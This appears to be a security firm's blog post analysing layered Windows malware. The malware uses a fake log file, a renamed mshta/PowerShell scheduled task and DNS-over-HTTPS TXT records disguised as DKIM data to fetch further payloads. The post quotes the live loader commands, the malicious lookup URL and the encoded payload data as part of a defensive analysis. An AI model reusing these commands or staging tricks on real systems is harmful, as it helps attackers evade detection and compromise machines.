We recently uncovered a really peculiar piece of malware, which we’ve jokingly referred to as “the gift that keeps on giving.” And the more we dug into it, the more we found to uncover and unpack.
I consider this a “multi-stager, multi-payload” piece of malware in that it works through a lot of different layers of abstraction. After all these layers of complexity and clever tricks, it goes to show just how invaluable it is to have human analysts review and reverse engineer malware.
Note: This is part two of a previous blog post, Hiding in Plain Sight, which describes the initial foothold.
Recap
In the previous blog post we showcased the odd “log file” a.chk which included “hexadecimal” (but really decimal) characters that would be carved out and used to generate a PowerShell payload.
See the “hex” codes on the far right column?
This file was discovered when our analysts found a peculiar Scheduled Task:
C:\Windows\system32\BfeOnService.exe vbscript:CreateObject(\"Wscript.Shell\").Run(\"cmd.exe /C C:\Windows\system32\engine.exe -c \"\"IEX $($(gc 'C:\Windows\a.chk'|%{[char][int]($_.split('x')[-1])})-join'')\"\"\",0,True)(window.close)
Our previous blog post discusses the internals of this command and how it uses legitimate Windows binaries to extract out and execute new PowerShell code.
Peeling Off the Layers
While this acts as the first initial payload, the PowerShell code contains another piece of obfuscated and encoded data. Upon analysis, it was easy to see this secondary payload included this string:
https://dns.google.com/resolve?name=dmarc.jqueryupdatejs.com&type=txt
Do you see that dmarc.jqueryupdatejs.com? Anyone who might be familiar with JavaScript or the jQuery library might recognize this language, but even someone without that knowledge might pick up on the fact that jqueryupdatejs.com looks a bit suspicious.
This secondary payload is actually retrieving yet another payload using DNS over HTTPS.
That URL, https://dns.google.com/ is used to interact with the 8.8.8.8 Google domain name server over the Hypertext Transfer Protocol (HTTP).
This may look intimidating, but you can parse through the code that makes this request:
Using “DNS over HTTP” as means to receive another malware payload is a very clever trick — while DNS filtering might be in place on a secure network, limited and locked down HTTP access to google.com is much less likely.
What is also interesting is that this DNS query is not about the identifying the IP address for the domain in order to make a connection. The next payload is actually embedded within the DNS TXT record response.
Let’s take a look:
Note that the payload requests a TXT resource record for this suspicious jqueryupdatejs.com domain. The JSON code above showcases the response from this request.
See anything strange? Take a look at that data field.
"data": "\"v=DKIM1; k=rsa; p=/NkBspI4LG64/nlEJ5sKjBiKA2L0Oi0B/TVRRNE5ESXpPRFk0T0E9PQ/mvYI54xdsqEmW/TVRRNE5ESXpPRFk0Tnc9PQ/TWpNNE9ETTN/TWpNNE9ETTNNVGszTkE9PQ/mvYI54xdsqEmW/TWpNNE9ETTNNakUwTXc9PQ/+ENwGoMUg9feAaD9qyw7KUEysv23BHGBHxInOA2FOhTOZrNWg7DQIDAQAB\""
Payload #3
That data field looks like a typical DKIM signature. This is just another trick of deception; this malware is trying to masquerade and slide right under the radar.
DKIM (Domain Keys Identified Mail) is an email authentication technique that allows the receiver to check that an email was indeed sent and authorized by the owner of that domain. This is done by giving the email a digital signature.
This decoy response is meant to look very normal and innocent, but upon reviewing the source code it, the malware does some interesting things with the data.
The p field seems to be Base64 data. You may think that that long string is entirely one single Base64 string, as a / forward-slash is a perfectly acceptable Base64 character.
This doesn’t decode to anything sensible, and the payload source code wasn’t interpreting it as shellcode. In fact, it was using the / forward-slash as delimiter!
If we decode each segment separated with a forward-slash, we actually uncover more Base64 data! Once again the malware adds an extra layer of complexity.
Attempting to decode the second, nested Base64, we uncover… numbers?
1484238688148423868723883723883719742388372143
Dynamic Malware Servers
You might not believe me, but those numbers are actually IP addresses.
Fun fact: IP addresses don’t always have to be in their “dotted” octet notation, like 192.168.1.1 or 183.17.94.120. It is just data, after all — and that can just as easily be represented in a different way.
In this case, the malware code reached out to an external server to download the final payload, which will end up installing the final command-and-control stub and the hacker can completely abuse the target machine.
The original source code would select one of those Base64 strings at random, to pick an external endpoint in a stealthy way.
Keep in mind, the attacker had flexible control of these last few payloads—the jqueryupdatejs.com domain and that TXT entry were external and could be easily updated or changed, the third-party malware servers could be moved in and out of the rotation, and the final payload that was retrieved could certainly be customized at any time!
Fool Me Once…
We have actually seen this malware more than once. Interestingly enough, that initial foothold has just slight deviations from the original form we discovered.
"C:\Windows\system32\TaskUpdate.exe vbscript:CreateObject(\"Wscript.Shell\").Run(\"cmd.exe /C C:\Windows\system32\processor.exe -c \"\"IEX $($(gc 'C:\Windows\p.lve'|%{[char][int]($_.split('x')[-1])})-join'')\"\"\",0,True)(window.close)"
The malware seemed to use a certain scheme — the doppelgänger for the legitimate mshta.exe application (described in part one of this blog series) is always renamed to a real, currently-active service on the target system.
The second program that is ran, that masks the original powershell.exe is renamed to a simple lowercase, one-word application, and the peculiar fake “log file” is created as a file with just one random letter and a random file extension.
• • •
There were a lot of really unique and clever things that this malware did to avoid detection. Some of these tricks might slide right past a typical, off-the-shelf anti-virus or endpoint protection program.
While it is seemingly simple to “hide in plain sight”, after peeling off the layers you can uncover just how stealthy and meticulous attackers must be — and ultimately, what tricks and techniques us defenders must know to protect ourselves.
